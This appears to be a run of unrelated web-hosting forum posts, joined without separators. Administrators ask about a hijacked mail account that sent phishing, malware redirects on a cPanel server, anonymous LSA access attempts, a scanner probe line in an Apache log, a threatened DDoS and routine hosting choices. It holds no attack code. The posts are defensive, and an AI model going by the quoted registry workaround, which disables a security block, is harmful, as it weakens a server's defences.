I'm not a server admin, but help my client with basic it tasks...we built their website for them and just sort of fell into helping them out when they need it. My client has a vps with knownhost, the vps is only used for hosting the email for their domain, the website is hosted on another server. 4 days ago, I logged in and checked the mail queue and found thousands of emails in the queue that were phishing emails trying to get passwords from the recipients for a service called moneybookers.com. According to knownhost, the hacker had guessed the password of one of the email accounts and had started sending mail through it. The hacked account was deleted that day as it was a test account and was not needed anyways. As soon as the account was deleted, the phishing mails stopped being sent. Knownhost reassured us the server hadn't been breached, but we changed the root password anyways. Around 15k to 20k emails were sent in a 14 hour period. Since that time we have appeared on a few blacklsts and have a negative senderbase score and so any company that uses senderbase is obviously rejecting our mail... My client has just hired assuretymail services to get accredited and has invested a lot of money into streamlining mail delivery, so this is obviously devastating to them.
Today I logged in and again found 1000's of email in queue, yet again, and this time they were paypal phishing emails. I immediately changed the passwords of all 50 of the email accounts, including the root. It looks like around 14k or so emails were sent.
Trying to understand how this could happen yet again, knownhost is saying that, yet again the account "test", the same account used last time was used for sending out emails. I was confused by how a previously deleted account could be used to again begin sending emails even though it was deleted 4 days ago. According to knownhost "[FONT='Verdana','sans-serif']The only reasonable explanation for this activity would be that exim cached credentials for system user "test" and didn't refresh its internal cache since the moment when "test" account was removed. To force exim to refresh the cache exim mail server was restarted on your system, so it shouldn't be possible to use that (non-existent) account again to relay the mail through your system."[/FONT]

[FONT='Verdana','sans-serif']Being that I'm not a server admin and I rely on knownhost for server admin basics, am I out of line thinking that knownhost dropped the ball here? I mean is it obvious that a restart was in order after the first hack or is this just a bad chance scenario. Is the scenario they are describing plausible?[/FONT]
Well my problem is, we have 2(ABC and XYZ company) internet connection and sometimes, the ABC connection is not active and we're disconnected for about 2-4 minutes interval to get the XYZ internet connection online.
My question is - Is there a software that will automatically set the XTZ internet connection to active? Something like if the ABC connection is down, the XYZ will supply internet connection right away.
Whats ur take on Wired Tree folks, shall i jump the ship and provide them with utter bunny mayhem (cause i am known to be intolerably insane when my server is down). How is their overall support, and network and performance ? Anyone current got "Server" from them who would like to throw some light on their performance and services ?
All I have is a big forum to host and I dont have much time to manage it - so a managed server is preferred. I also want cPanel on it.
futurehosting.biz really appealed to me but I was wondering if there was anything better, in terms of storage, bandwidth and RAM (also CPU, i dont know how much futurehosting give).
I would prefer if they had some kind of 24/7 live chat.
willing to find a cheap vps hosting provider and when l check some of the threats here , l m meeting new terms.
What is a Busrtable Ram ? How does it effect the Real Ram ? and How does it effect the cpu performance ? like page file ? l really dont know whats it means.
I have been with Blue Virtual (bluevirtual.com) for many years, since the Communitech days. However, the service these past few weeks has gone downhill big time.
The BV forums are dead, the webhosting is up and down like a yoyo, mail is intermittent.
Not just me but fellow users are experiencing the same.
Support tickets are going unanswered (accounts & tech. support).
I run a large community site, and i was wondering what the max amount of images I should have in an image folder? I'm looking to upgrade to an image only server and setup subdomain folders to split up the files. right now i have about 200k+ image files in just the public image folder... thats not counting the thumbnail folder, private folders etc...
what people think about jaguarpc I haven't been there too long yet I find the servers some what slow... or I should say VPS's there customer service is good yet I found knownhost to be better performance wise.. I just want to know what others think
We are in the process building a new colocation facility and I wanted to take some input from everyone here. We have most of the infrastructure planning and layout done but were still early on in the construction phase so now is the last chance to get some input. I have two main questions I wanted to ask.
1)When your looking for a colocation facility what things are most important to you?
2)Have you ever wished that datacenters offered something outside the normal things that most providers do.
I have never understand this? Honestly, what is the point if they all point to one web server? I mean if the web server fails it doesnt do any good if you have 10 DNS servers. The only time it makes sense to me to run multiple DNS servers is if your DNS server is a piece of junk, and always goes down, which honestly doesnt happen that much.

(i dont mean it's action , i want to know ! is it known ?)
I have searched and searched but can't find anything related here, on Cpanel.net or through google.
I have a Linux/Cpanel machine. Hosts about 15-20 websites. No matter which site you try to visit it is redirected to some malware site or something that tries to get you download a program (Clearly a virus or trojan).
I cannot find any info on this or how to even stop the redirects.
My firewalls block IP's from multiple failed login attempts. The FW on one server has been blocking someone from The Planet. My servers are at GNAX, so why is someone from TP trying to get in?
I have started seeing the following error in the Event Viewer every day:
"An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day."
The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?

I got so many of this line in my server log.
First of all, where is the server log located anyway? I got this from SIM.

I just had a client whose hosting account was automatically suspended due to him not paying the hosting bill. He opened up a ticket and asked why his site is suspended. I informed him that he didn't pay the bill and the system suspended it automatically. I told him that the system generated e-mails as well and he said he didn't get them while I looked in WHCMS, it said it DID get sent to him. Client said his website was DDOS'd because it used 3 GB of BW in one month and i told him there was no DDOS attack. The kind of site he had (100+ users online at one time, vBulletin forum), it was common to use that much.
The client is now saying that he is going to hack attempt the servers to see if they are DDOS Protected or not. Of Course, my servers are protected (WiredTree), so should I be worried?
His quote:
Quote:
I'LL TEST TO SEE IF YOU HAVE DDOS PROTECTION...TIME TO GATHER MY HACKING BUDDYS.
Also, I have notified WiredTree about this just right now.
my VPS provider just rebuilt my VPS after many hack attacks.
From some days I am getting emails from firewall that someone login to my VPS/mySQL using SSH.
I don't know what they do, but they don't disturb any account. Only some downtime feel during this. But last night my VPS stop working so my provider rebuilt VPS.
how I can secure my VPS now. I have Cpanel installed.
My server (cent OS4, plesk 8) was frozen for a day and the NOC had to reboot it, here is the mail I got from my host:
>Your server was frozen, with a kernel panic. Ensure that you check your logs closely to determine how this happened,
After looking at the message log here is the part of the log when the crash happened: Is this really a kernel panic, I am not sure...

It looks to me like if someone has physically connected a keyboard and logged in at the NOC.
I use Iptable to restrict ssh access to my IP each time I connect remotly, so I dont' think a remote connection has been possible.

Looking at the httpd error log I found this lines before the crash:
[Sat Dec 08 00:44:40 2007] [error] [client 213.215.41.138] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind [Sat Dec 08 00:44:40 2007] [error] [client 213.215.41.138] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind
apparently somone doing server scan. maybe the 2 events are correlated and the server freeze could have been a result of some buffer overflow attack, but i sould be finding some evidences of this on the apache logs?
What direction should I take to investigate a bit further on this server freeze?
Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place?
